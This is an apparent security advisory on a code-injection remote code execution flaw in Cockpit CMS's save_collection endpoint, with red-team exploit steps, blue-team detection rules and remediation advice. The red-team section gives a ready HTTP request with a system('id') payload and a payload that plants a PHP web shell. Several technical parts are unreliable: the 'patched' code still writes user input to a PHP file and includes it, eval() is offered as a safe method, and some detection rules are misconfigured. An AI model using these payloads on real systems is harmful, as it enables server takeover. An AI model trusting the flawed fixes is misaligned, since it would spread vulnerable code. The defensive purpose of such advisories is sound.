CVE-2026-34965

Executive Summary

CVE-2026-34965 is a critical authenticated remote code execution (RCE) vulnerability in Cockpit CMS, specifically within the /cockpit/collections/save_collection endpoint. An attacker with collection management privileges can inject arbitrary PHP code into collection rule parameters. This injected code is then written directly to server-side PHP files and executed via include(), leading to full server compromise. The vulnerability has a CVSS score of 8.8 (High) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains severe due to the potential for complete system takeover.

Supply Chain & Package Security

Cockpit CMS is a PHP-based content management system. This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the core application. Organizations using Cockpit CMS should treat this as a critical supply chain risk, as the application itself is the vulnerable component.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have collection management privileges.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. Despite the high privilege requirement, the impact is total system compromise. The lack of a patch makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the save_collection endpoint of Cockpit CMS. When an authenticated user with collection management privileges saves a collection, the application processes rule parameters without proper sanitization. These rule parameters are intended for validation logic but are instead written directly to PHP files on the server.

The core issue is a lack of input validation and output encoding. The application uses include() to load these generated PHP files, which means any PHP code injected into the rule parameters is executed in the server's context. This is a classic example of CWE-94: Improper Control of Generation of Code ('Code Injection').

Attack Flow:

1. Attacker authenticates to Cockpit CMS with a user account that has collection management privileges.
2. Attacker sends a crafted POST request to /cockpit/collections/save_collection with malicious PHP code in the rules parameter.
3. The application writes this code to a PHP file (e.g., in a cache or data directory).
4. The application then calls include() on that file, executing the attacker's code.
5. The attacker can now execute arbitrary system commands, read/write files, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In save_collection endpoint
$rules = $_POST['rules'];
$file = '/path/to/cache/collection_rules_' . $collectionId . '.php';
file_put_contents($file, '<?php ' . $rules . ' ?>');
include($file);

Patched Code (Conceptual):

// In save_collection endpoint
$rules = $_POST['rules'];
// Sanitize: remove all PHP tags and dangerous functions
$rules = preg_replace('/<\?php.*?\?>/is', '', $rules);
$rules = preg_replace('/[^a-zA-Z0-9_=\s\(\)]/', '', $rules);
$file = '/path/to/cache/collection_rules_' . $collectionId . '.php';
file_put_contents($file, '<?php ' . $rules . ' ?>');
include($file);

Note: The patched code is a conceptual example. The actual patch may involve using a safe evaluation method (e.g., eval() with strict sandboxing) or storing rules in a database instead of files.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Cockpit CMS instance (any version)
• Valid user credentials with collection management privileges

Exploit Steps:

1. Authenticate to Cockpit CMS and obtain a session cookie.
2. Identify a collection ID (e.g., via the /cockpit/collections endpoint).
3. Craft a POST request to /cockpit/collections/save_collection with the following payload:

POST /cockpit/collections/save_collection HTTP/1.1
Host: target.com
Cookie: cockpit_session=YOUR_SESSION_COOKIE
Content-Type: application/x-www-form-urlencoded

collection_id=1&rules=system('id');//

4. The server will execute system('id') and return the output in the response or in a subsequent request to the generated file.

Advanced Payload:

// Inject a web shell
rules=file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /cockpit/collections/save_collection with large or suspicious rules parameters.
2. Check for unexpected PHP files in the Cockpit CMS cache or data directories.
3. Review server logs for include() calls that reference dynamically generated files.
4. Use file integrity monitoring (FIM) to detect new PHP files in web-accessible directories.

Honeypot Setup:

• Deploy a fake Cockpit CMS instance with a modified save_collection endpoint that logs all rules parameter values.
• Alert on any attempt to inject PHP code.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected .php files in /cockpit/storage/cache/ or /cockpit/data/ directories.
• Files containing system(, exec(, shell_exec(, passthru(, or eval( in the Cockpit CMS installation.

Network IOCs:

• POST requests to /cockpit/collections/save_collection with rules parameter containing PHP code.
• Outbound connections from the web server to unknown IPs (post-exploitation).

Log IOCs:

• Web server logs showing POST /cockpit/collections/save_collection with status 200 and large request bodies.
• PHP error logs showing include() failures or syntax errors in dynamically generated files.

Detection Engineering

YARA Rule

rule CVE_2026_34965_Cockpit_RCE {
    meta:
        description = "Detects PHP files containing injected code from CVE-2026-34965"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34965"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /(system|exec|shell_exec|passthru|eval|assert|popen|proc_open)\(/
        $cockpit_path = /\/cockpit\/(storage|data)\/cache\//
    condition:
        $php_tag and $dangerous_func and $cockpit_path
}

Sigma Rule

title: Cockpit CMS RCE via save_collection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-34965
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cockpit/collections/save_collection'
        cs-uri-query|contains: 'rules='
    condition: selection
falsepositives:
    - Legitimate collection rule updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34965 Cockpit CMS RCE Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cockpit/collections/save_collection";
    http_uri;
    content:"rules=";
    http_client_body;
    pcre:"/rules=.*(system|exec|shell_exec|passthru|eval|assert|popen|proc_open)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the save_collection endpoint if not required, by modifying the web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Restrict collection management privileges to only trusted administrators.
3. Implement a Web Application Firewall (WAF) rule to block requests containing PHP code in the rules parameter.

Long-Term Fix:

• Apply the official patch once released by the Cockpit CMS maintainers.
• If no patch is available, consider migrating to an alternative CMS or implementing a custom patch that sanitizes the rules parameter.

Workaround:

• Modify the Cockpit CMS source code to use json_encode() and json_decode() for rule storage instead of include().
• Use a database to store rules instead of files.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 6314783E5E9AA5125DC507B2] */}